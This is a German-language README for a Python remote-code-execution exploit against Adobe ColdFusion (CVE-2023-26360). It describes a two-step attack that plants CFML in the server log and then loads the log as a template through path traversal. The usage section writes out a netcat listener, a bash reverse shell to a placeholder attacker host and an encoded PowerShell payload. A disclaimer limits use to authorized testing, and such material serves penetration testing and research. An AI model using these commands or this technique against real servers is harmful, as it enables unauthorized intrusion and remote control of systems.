
Dieser Exploit basiert auf CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) und wurde auf Basis des Metasploit-Moduls und des jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit erstellt.
Python-Implementierung des Remote-Code-Execution-Exploits für CVE-2023-26360, basierend auf der Analyse des ursprünglichen Metasploit-Moduls und der vorherigen Arbeit von jakabakos.
Der jakabakos-PoC versucht, <cfexecute> direkt in den _variables-Parameter zu injizieren und die Ausgabe aus dem ColdFusion-Log in einem einzigen Schritt zu lesen. Dieser Ansatz schlägt fehl, da ColdFusion CFML-Tags in diesem Kontext nicht inline auswertet, was zu einem 500-Fehler ohne Codeausführung führt.
Diese Implementierung repliziert den korrekten Zwei-Schritt-Mechanismus, der vom Metasploit-Modul verwendet wird:
_variables-Payload ({<cftry>CFML</cftry>) an den verwundbaren CFC-Endpunkt. ColdFusion kann sie nicht parsen und schreibt den Rohinhalt – einschließlich des CFML-Codes – in .coldfusion-out.logDie Befehlsausführung erfolgt über java.lang.Runtime.exec() via createObject, wodurch jede Abhängigkeit von <cfexecute> vermieden wird, das in abgesicherten oder Produktionsumgebungen typischerweise deaktiviert ist.
pip install -r requirements.txt
Starten Sie vor der Ausführung des Exploits einen Listener:
nc -lvnp 4444
Windows-Ziel:
python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"
Linux-Ziel:
python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Über einen Proxy (z.B. Burp Suite):
python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080
| Flag | Beschreibung |
|---|---|
--host | Basis-URL des Ziels (z.B. http://192.168.1.10:8500) |
--cmd | Auszuführender Befehl auf dem Ziel |
--win | Setzen Sie dieses Flag, wenn es sich um ein Windows-Ziel handelt |
--proxy | Optionale HTTP-Proxy-URL |
┌─────────────┐ Schritt 1: CFML einpflanzen ┌──────────────────┐
│ Angreifer │ ──── POST /_variables={<cftry>... ──► iedit.cfc │
│ │ CF kann nicht parsen, loggt CFML │ │
│ │ │ coldfusion- │
│ │ Schritt 2: Auslösung │ out.log │
│ │ ──── POST classname=X..\logs\cf... ──► (als CFML- │
│ │ │ Template geladen)│
│ Listener │ ◄─────────────── Reverse Shell ───────│ │
└─────────────┘ └──────────────────┘
Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitsbewertungen bereitgestellt (Penetrationstests, CTFs, Laborumgebungen). Das Ausführen dieses Exploits gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.